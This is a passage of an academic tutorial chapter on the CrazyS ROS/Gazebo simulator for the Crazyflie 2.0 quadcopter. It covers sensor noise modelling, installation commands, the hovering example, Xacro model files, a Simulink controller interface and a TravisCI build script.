Since the aim of this chapter is to illustrate a SITL simulation platform and its userather than simulating a specific hardware component, it is not important for our workto identify accurately the model of all hardware components and sensors. Instead, weare interested in getting realistic values for the parameters of the simulated models.To this aim datasheets are enough for getting values of interest. In particular, theaccelerometer and gyroscope noise densities (the white noise density) have beeneasily obtained from the MPU−9250 datasheet, requiring just a scaling due to thefact that Gazebo uses SI units measurements [57]. On the other hand, the bias partof the model (the random walk) is rarely specified into datasheets. However it canbe characterized [54, 58, 59] as

Table 3 Summary of the IMU model parameters

Sym. Unit Value

Gyroscope

White noise density nω rad/s/√

Hz 0.000175

Random walk bω rad/s2/√

Hz 0.0105

Bias correlation time btω s 1000

Turn on bias sigma bω0 rad/s−1 0.09

Accelerometers

White noise density na m/s2/√

Hz 0.003

Random walk ba m/s3/√

Hz 0.18

Bias correlation time bta s 300

Turn on bias sigma ba0 m s−2 0.588

[email protected]


b• = n•√

T , (11)

where the parameter n• is the noise density (aka spectral noise density), and T is thetime period over which the idealized white noise process is integrated (one hour, inour case). Finally, the turn on bias and the bias correlation time refer to the bias value,originated when the inertial sensor turns on, and its time constant, respectively [60].

As said previously, the above mentioned procedure is independently of a specificsensor. Thus, it can be employed to model any sensor in the virtual scenario expandingthe functionalities of the simulation framework.

3 Tutorials

This section explains how to use the CrazyS simulation framework with its maincomponents. The setting-up in Ubuntu, both Trusty (14.04) and Xenial (16.04) dis-tros, is shown in Sect. 3.1.2. Although the platform is fully compatible with IndigoIgloo version of ROS and Ubuntu 14.04, such configuration is not recommendedsince the ROS support will close in April 2019.

Section 3.2 demonstrates how to put the nano-quadcopter into hovering mode,with and without the aircraft on-board sensors, and how to attach such sensors to it(see Sect. 3.3.1). Section 3.3 describes the simulator through the hovering example,while Sect. 3.4 illustrates how to employ the Robotics System Toolbox for testingthe controller strategy before implementing the corresponding ROS code. The aimis to show how the controlled system can change its behavior with respect to theMatlab/Simulink version when tested in an environment closer to the reality likeGazebo, and how to verify it before writing many lines of C++ or Python code.

3.1 Simulator Setup

Before installing and using CrazyS, it is necessary to install and configure ROSover a suitable Linux distribution. Although it could be possible to install ROS alsoon other platforms (like MacOS), Ubuntu is the recommended operating system(OS) and its package manager should be used to install all necessary dependencies.All suggested operations are discussed on the official wiki-pages: see http://wiki.ros.org/indigo/Installation/Ubuntu or http://wiki.ros.org/kinetic/Installation/Ubuntu forIndigo Igloo and Kinetic Kame, respectively.

3.1.1 Ubuntu with ROS

In this subsection, for the sake of completeness and practicality, we report the com-mands for installing ROS Indigo Igloo (see Listing 4.2) and Kinetic Kame (see

[email protected]


Listing 4.3). Before running such commands it is suggested to give a look at the OScompatibility in the official ROS wiki-pages mentioned above.

$ sudo sh -c ’echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list’

$ sudo apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116

$ sudo apt-get update$ sudo apt-get install ros-indigo-desktop-full$ sudo rosdep init$ rosdep update$ echo "source /opt/ros/indigo/setup.bash" >> ∼/.bashrc$ source ∼/.bashrc$ sudo apt-get install python-rosinstall

Listing 4.2 Installation instructions - Ubuntu 14.04 with ROS Indigo Igloo

$ sudo sh -c ’echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list’

$ sudo apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116

$ sudo apt-get update$ sudo apt-get install ros-kinetic-desktop-full$ sudo rosdep init$ rosdep update$ echo "source /opt/ros/kinetic/setup.bash" >> ∼/.bashrc$ source ∼/.bashrc$ sudo apt-get install python-rosinstall python-

rosinstall-generator python-wstool build-essential

Listing 4.3 Installation instructions - Ubuntu 16.04 with ROS Kinetic Kame

3.1.2 Installing CrazyS from Source

After having configured both the OS and ROS, the platform can be installed fromsource. Although CrazyS is completely independent of the chosen OS or ROS dis-tribution, the package dependencies have to be satisfied according to the chosen OSand ROS distro. Therefore, in Listing 4.4 we report the installing procedure for theKinetic Kame version of ROS. Whereas, in Listing 4.5 the package dependencies forthe Indigo Igloo distro are reported (the procedure is exactly the same as for KineticKame).

[email protected]


$ sudo apt-get ros-kinetic-joy ros-kinetic-octomap-rosros-kinetic-mavlink python-catkin-tools protobuf-compiler libgoogle-glog-dev ros-kinetic-control-toolbox$ mkdir -p ∼/catkin_ws/src$ cd ∼/catkin_ws/src$ catkin_init_workspace$ catkin init$ git clone https://github.com/gsilano/CrazyS.git$ git clone https://github.com/gsilano/mav_comm.git$ cd ∼/catkin_ws/src/mav_comm & git checkout crazys$ rosdep update$ cd ∼/catkin_ws$ rosdep install --from-paths src -i$ catkin build$ echo "source ∼/catkin_ws/devel/setup.bash" >> ∼/.bashrc$ source ∼/.bashrcListing 4.4 Installation instructions from source with ROS Kinetic Kame

$ sudo apt-get ros-indigo-octomap-ros python-wstoolpython-catkin-tools protobuf-compiler

$ sudo apt-get ros-indigo-joy libgoogle-glog-dev

Listing 4.5 Package dependencies for installing CrazyS from source with ROS Indigo Igloo

Such procedure allows to create a workspace folder (catkin_ws) that will con-tain (in the src directory) the code that simulates the Crazyflie dynamics and behav-ior (determined by sensors model and control algorithms). Further details about theworkspace and its meaning can be found in [61], while in [62] there are reportedmore details regarding messages and services used during the simulation.

3.2 Hovering Example

Launching the simulation is quite simple, so as customizing it: it is enough to run ina terminal the command

$ roslaunch rotors_gazebo crazyflie2_hovering_example.launch

By default the state estimator is disabled since on-board Crazyflie’s sensors arereplaced by the odometry one. For running the simulation by taking into account theCrazyflie’s IMU and the complementary filter, it is enough to give a command thatturns on the flag enable_state_estimator:

[email protected]


$ roslaunch rotors_gazebo crazyflie2_hovering_example.launch enable_state_estimator:=true

The visual outcome will see the nano-quadcopter taking off after 5s (time afterwhich the hovering_example node publishes the trajectory to follow) and flyingone meter above the ground, at the same time keeping near to zero the positioncomponents along x and y-axis.

For understanding how the controllers work (the reference generator and theCrazyflie’s on-board controller, see Sect. 2.2), two plots of the drone position andorientation have been added in the launch file. At each time step, data coming fromthe Gazebo plugins are reported on the plots avoiding to go through the rosbag files.5

The flexible and fully controllable structure of the launch file allows to plot anyinformation coming from the simulator. Among such data we can consider the dronestate (ud , vd , wd , etc.), the command signals (θc, φc, Ωc and ψc) or the trajectoryreferences (xr , yr , zr and ψr ).

3.3 Simulator Description

This section is focused on describing how RotorS (and thus CrazyS), works togetherwith ROS and Gazebo, by considering as illustrative application the hovering exam-

ple. An overview of the main components is reported in Fig. 6 while further detailscan be found in [28].

To facilitate the development of different control strategies, we recommend toprovide a simple interface, like the modular architecture developed for CrazyS andappropriately adapted from RotorS. In the illustrative example we developed a linearposition control strategy (see Sect. 2.2), but other control laws can be considered,even nonlinear [63–65]. Indeed, the simulator has to be meant as a starting point toimplement more advanced control strategies for the Crazyflie and, more generally,for any quadrotor that can be modeled in Gazebo through RotorS.

All the components of the nano-quadcopter are simulated by Gazebo plugins andthe Gazebo physics engine. The body of the aircraft consists of four rotors, whichcan be placed in any location allowing configuration changes (e.g., from “+” to “×”,see Sect. 3.3.1), and some sensors attached to the body (e.g., gyroscope, accelerom-eter, camera, barometer, laser scanner, etc.). Each rotor has properly dynamics andaccounts for the most dominant aerodynamic effects. Also external influences can betaken into account, such as a wind gust, but they are neglected in this tutorial chapter.

A further block is the state estimator, used to obtain information about the state ofthe drone (see Sect. 2.3). While it is crucial on a real quadcopter, in simulation it canbe replaced by a generic (ideal) odometry sensor (with or without noise and bias) inorder to understand the effects of the state estimation. In Sect. 3.4.2 some graphicsshow how the vehicle behavior changes when the drone state is not completelyavailable and it is partially replaced by the on-board complementary filter outputs.

5Bags are typically created by a tool like rosbag, which subscribes to one or more ROS topic, andstores the serialized message data in a file as it is received.

[email protected]


Crazyflie

Control

Gazebo

Controller

Interface

Simulated

External

Influences

Simulated

Crazyflie

Dynamics

Simulated

Sensors

State

Estimator

Control Commands

Desired Motor

Velocities

IMU & Pose Measurements

Odometry Estimates

Dynamics

Odometry

Measurements

Gazebo

Fig. 6 Crazyflie 2.0 components in CrazyS, inspired by the RotorS structure

In order to easily test different scenarios, ROS allows to use a suitable launch

file. As we said before, such file allows to enable or disable the state estimator.That means that the drone orientation and angular velocities are provided by theodometry sensor when the state estimator is turned off, and by the complementaryfilter (that uses gyroscope and accelerometer data coming from the on-board IMU)when it is switched on (as depicted in Fig. 6). For simplicity, the proposed applicationconsiders that in both cases the drone position and linear velocities are provided bythe odometry sensor, as described in Sect. 2.2. A different possibility might arise,e.g., when drones fly indoors [66, 67], when a MoCap system is used to provide suchinformation. However, in place of the complementary filter, a more complicated stateestimator has to be used in that case.

It is important to highlight how all such features make the tool potentialitiesendless. Once the Crazyflie is flying, higher level tasks can be carried out andtested in the simulation environment, such as simultaneous localization and mapping(SLAM) [68], planning [69], learning [70], collision avoidance [71], etc. Moreover,it is possible to evaluate easily different scenarios (e.g., how a different sensor timeresponse affects the aircraft stability).

[email protected]


3.3.1 Model Description and Simulation

One of main objectives of using the proposed methodology is to simulate a scenarioquite closely to the real world, so that it comes easy the reuse of the software archi-tecture when porting it on the real Crazyflie vehicle (e.g., through the ROS packagesCrazyswarm [33] or Crazyros [29, 36]). With this aim we started from one of the avail-able examples in RotorS (specifically the mav_hovering_example.launch)having a quite detailed model of drone dynamics.

Thus, we cast that model and control parts to corresponding parts of the Crazyflienano-quadcopter by considering the specific components (see Fig. 6), the Crazyfliephysical dynamics and parameters, and the perception sensors. The overall ROSarchitecture is depicted in Fig. 7 where the topics and nodes are represented. Thewhole process is the following: the desired position coordinates (xr , yr , zr , ψr )are published by the hovering_example node on the topic command/trajectory, towhich the position_controller node (i.e., the Crazyflie controller) is subscribed. Thedrone state (odometry topic) and the references are used to run the control strategydesigned for the position tracking. The outputs of the control algorithm consist into

/hovering example

/position controller node

/gazebo

/command/trajectory

/odometry /command/motor speed

crazyflie2

gazebo

Fig. 7 Graph of ROS nodes (ellipses) and topics (squares) of the hovering example with theCrazyflie 2.0. The continuous line arrows are topic subscriptions, with directions going from thesubscriber node to the publisher one

Attitude

PID

250Hz

Rate PID

Controller

500Hz

Actuators

(motors)

Odometry

(ideal)

sensor

θc, c pc

qc

500Hz

250Hz

ψc Ωc

θd dpd qdrd

+

−

+

−

+

Crazyflie

Fig. 8 On-board control architecture of the Crazyflie 2.0 when the state estimator is not consideredin the simulation: the estimated data are replaced by the ideal values

[email protected]


the actuation commands (ω1, ω2, ω3 and ω4) sent to Gazebo (command/motor_speed)for the physical simulation and the corresponding graphical rendering, so to visuallyupdate the aircraft position and orientation.

When the state estimator is turned off, the drone orientation (φk , θk and ψk)and angular velocities (pk , qk and rk) published on the topic odometry are replacedby the ideal values coming from the odometry sensor. Thus, the on-board controlarchitecture of the Crazyflie changes as depicted in Fig. 8.

RotorS uses Xacro files for describing vehicles, the same structure employed alsofor the sensors. Thus, for defining the Crazyflie aircraft, the XML tag structure isemployed to set properties that are related to the physical features of the drone, likethe quadrotor aerodynamic coefficients [50] or other physical parameters [45]. Inparticular, the crazyflie2.xacro file (see Listing 4.6) allows to describe com-ponents and properties such as the motors constant, the rolling moment coefficient,the mass of the vehicle, the moments of inertia along the axes, the arm length, thepropellers direction, and so on, in according to the aircraft model (see Sect. 2.1).Such file is executed at runtime when the simulation is going to start.

<robot name="crazyflie2" xmlns:xacro="http://ros.org/wiki/xacro">

<xacro:property name="namespace" value="$(arg mav_name)"/>

<xacro:property name="rotor_velocity_slowdown_sim" value="50" />

<xacro:property name="use_mesh_file" value="true" /><xacro:property name="mesh_file" value="package://

rotors_description/meshes/crazyflie2.dae" /><xacro:property name="mass" value="0.025" /><xacro:property name="body_width" value="0.045" /><xacro:property name="body_height" value="0.03" /><xacro:property name="mass_rotor" value="0.0005" /><xacro:property name="arm_length" value="0.046" /><xacro:property name="rotor_offset_top" value="0.024" /><xacro:property name="radius_rotor" value="0.0225" /><xacro:property name="sin45" value="0.707106781186" /><xacro:property name="cos45" value="0.707106781186" />

<xacro:property name="motor_constant" value="1.28192e-08"/>

<xacro:property name="moment_constant" value="5.964552e-03" />

<xacro:property name="time_constant_up" value="0.0125" /><xacro:property name="time_constant_down" value="0.025" /

><xacro:property name="max_rot_velocity" value="2618" /><xacro:property name="rotor_drag_coefficient" value="

8.06428e-05" />

[email protected]


<xacro:property name="rolling_moment_coefficient" value="0.000001" />

...

<xacro:vertical_rotorrobot_namespace="$namespace"suffix="front-right"direction="ccw"motor_constant="$motor_constant"moment_constant="$moment_constant"parent="$namespace/base_link"mass_rotor="$mass_rotor"radius_rotor="$radius_rotor"time_constant_up="$time_constant_up"time_constant_down="$time_constant_down"max_rot_velocity="$max_rot_velocity"motor_number="0"rotor_drag_coefficient="$rotor_drag_coefficient"rolling_moment_coefficient="$rolling_moment_coefficient

"color="Red"use_own_mesh="false"mesh=""><origin xyz="$cos45*arm_length -$sin45*arm_length $

rotor_offset_top" rpy="0 0 0" /><xacro:insert_block name="rotor_inertia" /></xacro:vertical_rotor>

...

Listing 4.6 Crazyflie 2.0 parameters and geometry file

The mentioned files, i.e.,crazyflie2.xacro,crazyflie_base.xacro,component_snippets.xacro (see Sect. 2.3.2), are related to each other mak-ing the aircraft model like a chain, where each link has a proper aim and without themthe simulation cannot start. Thus, in order to facilitate the understanding and makingclear how to develop an own platform, Fig. 9 illustrates the overall architecture ofthe simulation that is instantiated by invoking the launch file.

Conversely, the robot geometry has been modeled by using the open-sourcesoftware Blender (see Fig. 10) and the vertical_rotor macro defined in themultirotor_base.xacro file. Starting from the mesh file available on [46],the digital representation of the propellers has been changed from a “+” configu-ration (Crazyflie 1.0) to a “×” configuration (Crazyflie 2.0) providing textures andmaterials with the crazyflie2.dae file (it employs the COLLADA [72] format).That illustrates how it is possible to start from a CAD file, i.e., the 3D model of thevehicle, to the simulation environment in few steps, taking care to convert the file to

[email protected]


a format readable by Gazebo. In particular, it is possible to note how the position ofthe propellers was set up by varying the parameters of the tag <origin xyz="XY Z" rpy="ROLL PITCH YAW"> (see Listing 4.6), where X, Y and Z representthe x , y and z propeller coordinates in the fixed inertial frame, respectively, andROLL, PITCH and YAW its attitude.

3.4 Developing a Custom Controller

This section (in particular Sect. 3.4.1) explains how to use the MathWorks RoboticsSystem Toolbox [73] to build-up a SITL simulation architecture in which Simulinkschemes of control loops6 are reused and interfaced to Gazebo in order to simulate

crazyflie2 hovering example.launch

spawn mav crazyflie.launch

crazyflie base.xacro

component snippets.xacro

crazyflie2.xacro

crazyflie2.dae

Gazebo

Simulate the on-board

sensors and configure

simulation features

Simulate dynam-

ics and geometry

Fig. 9 The software flow diagram in CrazyS. The rectangles represent the file while the arrows theflow of calls from the launch file to the Gazebo 3D virtual environment

6Matlab/Simulink is widely spread among control engineers that use those tools for designing theircontrol strategies. Control design is not the aim of the chapter and thus we assume Simulink schemeshave already been defined in an earlier phase and are available for the SITL simulation.

[email protected]


Fig. 10 Crazyflie digital representation by using the open-source software Blender

the detailed aircraft physical model. The C++ code implementation of the Simulinkschemes and their ROS integration will be discussed in the following Sect. 3.4.2 byclosing the process and achieving the final and complete SITL simulation architec-ture. The overall procedure will be described in details, however we illustrate herethe motivations of the proposed approach.

The first phase based on MathWorks RST allows in few steps to compare theresults obtained from the interaction between Simulink schemes (controller) andGazebo (physics) with the outcomes of the system completely implemented in Mat-lab/Simulink (both physical model and controller). In this way, implementationdetails like controller discretization, concurrency, timing issues, can be isolated whenlooking at the Matlab/Simulink platform only, while their effects can be investigatedby considering the Simulink and Gazebo simulations.

In few words, the RST allows in an easy way to test and verify the behavior of theflight control system (see Sect. 2.2), by comparing and evaluating different controlstrategies, making possible to come back easily to the control design phase (whoseoutputs are usually the Simulink schemes) before implementing the ROS code. Suchapproach saves time in the development of possible problematic code and fulfillsrequirements of modern embedded systems development based on the well-knownV-model [31].

The entire process has been tested with the 2017b release of Matlab, but it iscompatible with any Matlab release successive to 2015a. The code is specific forthe use case study, but it can be easily and quickly customized to work with anyquadrotor in the simulation framework.

[email protected]


3.4.1 Robotics System Toolbox

The MathWorks Robotics System Toolbox provides an interface [74] between Mat-lab/Simulink and ROS, allowing to establish a connection with the ROS master(Gazebo in our case) directly controlling the Crazyflie dynamics.

Starting from that scheme, the feedback loops are replaced by RST blocks imple-menting the publish/subscribe paradigm dealing with ROS topics, as depicted inFig. 11. The Gazebo plugins will provide the sensors data, while the controller out-puts (actuators commands) will be sent to the detailed physical model in the virtualscenario. Therefore, the Crazyflie model, that was present in the Simulink schemewhen simulating the controlled drone dynamics in Matlab, can be removed. Althoughnow the simulation is based on the physical engine of Gazebo and runs through theROS middleware, any change or modification of the control law is limited to standardSimulink blocks at a higher abstraction level.

RST is available from the 2015a release of Matlab but not all types of ROS mes-sages are supported. In particular, RST does not support mav_msgs/Actuatorsmessages employed in RotorS to send the propellers angular velocities to the Gazebophysics engine, at least till Matlab release 2017b. The issue can be partially overcomeby installing a suitable add-ons roboticsAddons, hosted on the MathWorks add-ons explore site [75], and by creating the custom messages starting from the properlyROS package [76]. Indeed, the toolbox supports the forwarding of custom messagesonly via Matlab scripts. Therefore, the Simulink schemes have to be adapted and inte-grated with Matlab scripts for exchanging data and commands with ROS and Gazebo.Due to space constraints, the whole procedure as well as the employed schemes andscripts will not be described here but all information are available in [77].

As shown in [77, 78], the communication between Simulink and Gazebo needsto be synchronized via Gazebo services (unpause and pause_physics) that run andstop the simulation so to avoid data losses and system instabilities. When the schemeruns in synchronization mode, the client (Matlab) is in charge of deciding when thenext step should be triggered by making the server (Gazebo) advance the simulation.

Drone state

Trajectoryreferences

Propellers angular velocity

Flight Control System

ROS

Publish

/command/motor_speed

Msg

ROS

Blank Message

mav_msgs/Actuators

Msg

ROS

Subscribe

/odometry

IsNew

MsgMsg

Msg

:= Prop. ang. vel.

[x_r y_r z_r psi_r]

Trajectory references

Fig. 11 Simulink control scheme by using RST blocks. The red box highlights the block imple-menting the ROS topic subscription to the sensors values, while the green box indicates the blockin charge to publish the propellers angular velocity

[email protected]


In this way it is avoided any possible synchronization/communication issue arisingfrom a real implementation of a cyberphysical system. When the control strategyis sufficiently investigated and verified, all implementation issues can be modeledand/or taken into account thus removing the artificial synchronization and proceedingwith the coding for implementing the control strategy on middleware like ROS oreven on a real time OS.

In Listing 4.7 the launch code (specifically the crazyflie_without_controller.launch) employed to link Matlab/Simulink with ROS and Gazebo,is reported. Such code starts the server (Gazebo) that simulates the Crazyflie dynam-ics and sensors. Then, Gazebo goes in stand-by waiting for the Simulink schemeimplementing the controller. It will be in charge to run and pause the physical enginecomputations in order to simulate the controlled scenario.

<launch>

<arg name="mav_name" default="crazyflie2"/><arg name="world_name" default="basic"/><arg name="enable_logging" default="false" /><arg name="enable_ground_truth" default="true" /><arg name="enable_state_estimator" default="false" /><arg name="log_file" default="$(arg mav_name)" /><arg name="paused" value="true"/><arg name="debug" default="false"/><arg name="gui" default="true"/><arg name="verbose" default="false"/>

<env name="GAZEBO_MODEL_PATH" value="$GAZEBO_MODEL_PATH:$(find rotors_gazebo)/models"/>

<env name="GAZEBO_RESOURCE_PATH" value="$GAZEBO_RESOURCE_PATH:$(find rotors_gazebo)/models"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch"><arg name="world_name" value="$(find rotors_gazebo)/worlds/$(arg world_name)_crazyflie.world" /><arg name="debug" value="$(arg debug)" /><arg name="paused" value="$(arg paused)"/><arg name="gui" value="$(arg gui)" /><arg name="verbose" value="$(arg verbose)"/>

</include>

</launch>

Listing 4.7 Launch file employed to simulate the Crazyflie dynamics and sensors

Note that although the RST supports C++ code generation [79] and it is able togenerate automatically a ROS node from a Simulink scheme and deploying it into aROS network, it is not immediate to integrate everything within RotorS obtaining,

[email protected]


at the same time, a readable code. Thus, we followed the approach of developingmanually the code paying attention to the software reuse and to modular design.

3.4.2 ROS Integration

In this section it is described and analyzed the code structure that implements thecontroller of the vehicle. As illustrated in Fig. 7 and already referred in Sect. 3.3.1,the nav_msgs/Odometry messages published on the topic odometry by Gazebo, arehandled by the position_controller node that has the aim of computing the propellersspeed. Such speeds are later published on the command/motor_speed topic throughmav_msgs/Actuators messages.

The controller implementation is divided into two main parts: the first part handlesthe parameters and the messages passing, and it is implemented as a ROS node (i.e.,the position_controller node); while the second part is a library of functions, called bythe ROS node and get linked to it at compilation time by using the CMakeList.txtfile,7 that implements all required computations (the crazyflie_onboard_controller,the crazyflie_complementary_filter, etc.). Parameters (both controller and vehi-cle ones) are set in YAML files8 (e.g., controller_crazyflie2.yaml,crazyflie2.yaml, etc.) and passed to the ROS parameter server by using thelaunch file in which the following line between the <node> tags is added.

<rosparam command="load" file= "$(find rotors_gazebo)/resource/controller_crazyflie2.yaml"/>

The ROS parameter server makes those values available to the ROS network avoid-ing to build-up all executables every time a slight modification occurs (a very timeconsuming step). In this way it is possible to modify the controller gains described inSect. 2.2 or the vehicle parameters (like the Crazyflie mass, its inertia or the rotor con-figuration) in a very simple way, evaluating more quickly how system performancechanges at each different simulation.

In order to show the potentialities and the flexibility of the platform, a ROSnode has been developed to simulate the scenario with and without the Crazyflieon-board state estimator. The node is able to catch the data coming from Gazebo,or other nodes in the ROS network (e.g., the hovering_example that is in charge topublish the trajectory to follow), and to send the actuation commands (ω1, ω2, ω3

and ω4) to the Gazebo physics engine. To that aim, a suitable launch file, i.e., thecrazyflie2_hovering_example.launch, was made to handle the simula-tion starting. That file allows to switch from a scenario to another one by varyingthe boolean value of the variable enable_state_estimator as illustrated inSect. 3.2.

7It manages the build process of the software. It supports directory hierarchies and applications thatdepend on multiple libraries.8YAML (YAML Ain’t Markup Language) is a human-readable data serialization language and iscommonly used for configuration files. YAML targets many of the same communications applica-tions as XML but has a minimal syntax which intentionally breaks.

[email protected]


rotors control

- roll pitch yawrate thrust controller- lee position controller- position controller- library

- crazyflie complementary filter- crazyflie onboard controller- sensfusion6- roll pitch yawrate thrust controller- lee position controller

rotors description

- URDF files- Sensors- MAV Models- Component macros

- Mesh files

rotors gazebo

- launch files- resources

- yaml files- odometry sample images

- src- hovering example- waypoint publisher

- Gazebo worlds

rotors gazebo plugins

- Bag plugin- Controller interface plugin

- IMU plugin- Motor model plugin- Multirotor base plugin- Octomap plugin- Odometry plugin

- Wind plugin

rotors joy interface

- Joystick interface to control a MAV viaroll, pitch, yaw-rate, thrust commands

rotors evaluation

- src- disturbance eval- hovering eval- disturbance eval- test eval- waypoints eval

CrazyS

Fig. 12 Structures of the packages contained in the CrazyS repository

When the state estimator is disabled (i.e., the odometry sensor is used), the call-back methods work only with the Odometry (for reading sensors data) and MultiD-

OFJointTrajectory (for reading trajectory references) messages. Instead, when thecomplementary filter works a callback method considers also the IMU messages.ROS timers have been introduced for dealing with the update rate of the Crazyflieon-board control and the sampling time of the position control loop (chosen to be1 ms as defined in basic_crazyflie.world file). In both cases, at each timestep, the method CalculateRotorVelocities computes the rotor velocitiesωi from the controller’s input and drone current (or estimated) state.

In order to facilitate the reuse of the software modules developed in CrazyS, theinner loop (the attitude and rate controllers, i.e., the Crazyflie on-board controller,see Fig. 5) and the complementary filter have been implemented as libraries. In sucha way, state estimators and controllers can be easily employed in any node of the ROSnetwork or replaced by improving Crazyflie’s performance. In Fig. 12 the CrazySpackages structures and the main files included into the CrazyS ROS repository aredepicted.

The overall system has been simulated through Gazebo/ROS and the results illus-trate in a direct way how the system works (the corresponding video is available [80]):the Crazyflie 2.0 keeps the hovering position until the simulation stops. Moreover,from the video [81] it appears evident how the control system is able to compensateattitude and position disturbances coming back to the hovering position. Finally, afurther scenario (video [82]) considers the “real” sensors (see Fig. 5) by taking intoaccount the IMU and the complementary filter. All the experiments have been carriedout by using Kinetic Kame version of ROS (as we said before, it is also compatiblewith the Indigo Igloo version) for visualization and scripting, and they were run ona workstation based on Xeon E3-1245 3.50 GHz, Gallium 0.4 on NV117 and 32GBof RAM with Ubuntu 16.04.

[email protected]


0 10 20 30 40 50

−1

0

1

·10−2

Time [s]

Distance[m]

xsysxsimuysimu

0 20 40 600

0.5

1

Time [s]

Altitude[m]

zszsimuzn

Fig. 13 Drone position during the hovering example. In red the numerical results (Matlab/Simulink)and in blue and green the simulation results (Gazebo/ROS) with and without the real sensors

Figure 13 reports numerical results obtained in Matlab/Simulink (both the physicalmodel and control are simulated there) by considering the perfect state information(“n” subscript signals, solid lines). Simulation results obtained in Gazebo/ROS (“s”subscript signals) are depicted, as well. In particular, the subscript “imu” has beenused to discriminate the data when the state estimator is in the loop. The controllerworks quite well in all considered scenarios. Nevertheless, designing a high perfor-mance hovering controller is not the aim of this work but we considered such taskto show the advantages of the SITL simulation implemented through the CrazySplatform. From a control point of view, better results might be obtained by using aKalman filter [83] (already developed in the Crazyflie firmware but not used as thedefault state estimator, probably due to the increase of computational burden) or thenew on-board control [84] released with the 2018.10 version of the firmware.

3.5 Continuous Integration System

In this section we illustrate our proposed solution to link the continuous integration(CI) open-source platform TravisCI [85] with the CrazyS repository. Moreover wedescribe the corresponding advantages that a CI system may give when developinga ROS component like CrazyS.

Listing 4.8 reports the script used to configure the CrazyS repository withTravisCI. The code is based on an existing open-source project [86] and has beencustomized to make it compatible with the Kinetic Kame distro of ROS. Also, a pullrequest [87] has been opened to share our code with other researchers and developers.

[email protected]


matrix:include:

- os: linuxdist: trustysudo: requiredenv: ROS_DISTRO=indigo

- os: linuxdist: xenialsudo: requiredenv: ROS_DISTRO=kinetic

language:- generic

cache:- apt

env:global:

- ROS_CI_DESKTOP="‘lsb_release -cs‘"- CI_SOURCE_PATH=$(pwd)- ROSINSTALL_FILE=$CI_SOURCE_PATH/dependencies.rosinstall- CATKIN_OPTIONS=$CI_SOURCE_PATH/catkin.options- ROS_PARALLEL_JOBS=’-j8 -l6’- PYTHONPATH=$PYTHONPATH:/usr/lib/python2.7/dist-packages:/usr/local/lib/python2.7/dist-packages

before_install:- sudo sh -c ’echo "deb http://packages.ros.org/ros/ubuntu $ROS_CI_DESKTOP main" > /etc/apt/sources.list.d/ros-latest.list’- wget http://packages.ros.org/ros.key -O - | sudo apt-key add -- if [[ "$ROS_DISTRO" == "indigo" ]]; then sudo apt-getupdate && sudo apt-get install dpkg; fi- if [[ "$ROS_DISTRO" == "kinetic" ]]; then sudo rm /var/lib/dpkg/lock; fi- if [[ "$ROS_DISTRO" == "kinetic" ]]; then sudo dpkg --configure -a; fi- sudo apt-get update- sudo apt-get install ros-$ROS_DISTRO-desktop-fullros-$ROS_DISTRO-joy ros-$ROS_DISTRO-octomap-ros python-wstool python-catkin-tools- sudo apt-get install protobuf-compiler libgoogle-glog-dev- sudo rosdep init- rosdep update- source /opt/ros/$ROS_DISTRO/setup.bash

install:

[email protected]


- mkdir -p ∼/catkin_ws/srccd ∼/catkin_ws/src- catkin_init_workspace- catkin init- git clone https://github.com/gsilano/CrazyS.git- git clone https://github.com/gsilano/mav_comm.git- rosdep update- cd ∼/catkin_ws- rosdep install --from-paths src -i- catkin build- echo "source ∼/catkin_ws/devel/setup.bash" >> ∼/.bashrc- source ∼/.bashrc

Listing 4.8 TravisCI script for Ubuntu 14.04 and 16.04 with ROS Indigo Igloo and Kinetic Kame,respectively

In order to use TravisCI, a GitHub account and the TravisCI script are all thenecessary components. The script, i.e., the .travis.yml file, has to be put in theroot of the active repository.9

Looking at the listing, the file is split into five main parts: include, languageand cache,env,before_install and install. In the first part, the matrixcommand tells TravisCI that two machines should be created sequentially. Thatallows to build and to test the code with different ROS distros (Indigo Igloo andKinetic Kame, in our case) and OS (Thrusty and Xenial, 14.04 and 16.04 versionsof Ubuntu, respectively) through the include command.

The second part, language and cache, enables the installing of the requiredROS packages (see Sect. 3.1). It allows to customize the environment running ina virtual machine. Finally, the parts env and before_install configure allvariables (they are used to trigger a build matrix) and system dependencies.

When the process starts, the catkin workspace is build with all the packagesunder integration (the commands listed in the install section). TravisCI clonesthe GitHub repository(-ies) into a new virtual environment, and carries out a seriesof tasks to build and test the code. If one or more of those tasks fails, the build isconsidered broken. If none of the tasks fails, the build is considered passed, andTravisCI can deploy the code to a web server, or an application host. In particular,the build is considered broken when one or more of its jobs complete with a statethat is not passed:

– errored: a command in the before_install or install phase returned anon-zero exit code. The job stops immediately;

– failed: a command in the script phase returned a non-zero exit code. The jobcontinues to run until it completes;

– canceled: a user cancels the job before it completes.

9For students or academics, GitHub gives the possibility to build infinite private builds.

[email protected]


At the end of the process, email notifications are sent to all the listed contributorsmembers of the repository. The notifications can be forwarded: on success, on failure,always or never. Finally, the CI system can be also employed to automatically gen-erate documentation starting from the source code and to link it to an online hosting.It is very useful when the project is going to increase or a lot of people are workingon it or, more generally, when it is difficult to have an overview of the developedcode. Further information on how to use the CI system and how to configure it canbe found in [88].

Such procedure allows to easily verify the code quality, underlying errors andwarnings through automated software build (including tests), that may not appearwhen building on own machine. It also ensures that modules working individually(e.g., SLAM, vision or sensors fusion algorithms) do not fail when they are puttogether due to causes that were difficult to predict during the development phase.For all such reasons, having a software tool able to catch what happened and whyit happened, and able to suggest possible solutions, is extremely desirable whenworking with complex platforms as Gazebo and ROS.

4 Conclusion and Future Work

In this tutorial chapter we illustrated how to expand the functionalities of the ROSpackage RotorS for modeling and integrating the nano-quadcopter Crazyflie 2.0 in adetailed simulation framework achieving a complete SITL simulation solution. Theoverall approach aimed at developing the system in a modular way by facilitatingthe reuse of software modules. The proposed methodology allows to combine dif-ferent state estimators and control algorithms, evaluating the performances beforedeploying them on a real device.

The chapter discussed the CrazyS platform from the installation to the devel-opment of a custom controller and the presentation has been thought not only forresearchers but also for educational purposes, so that interested students might workin a complete and powerful environment developing their own algorithms.

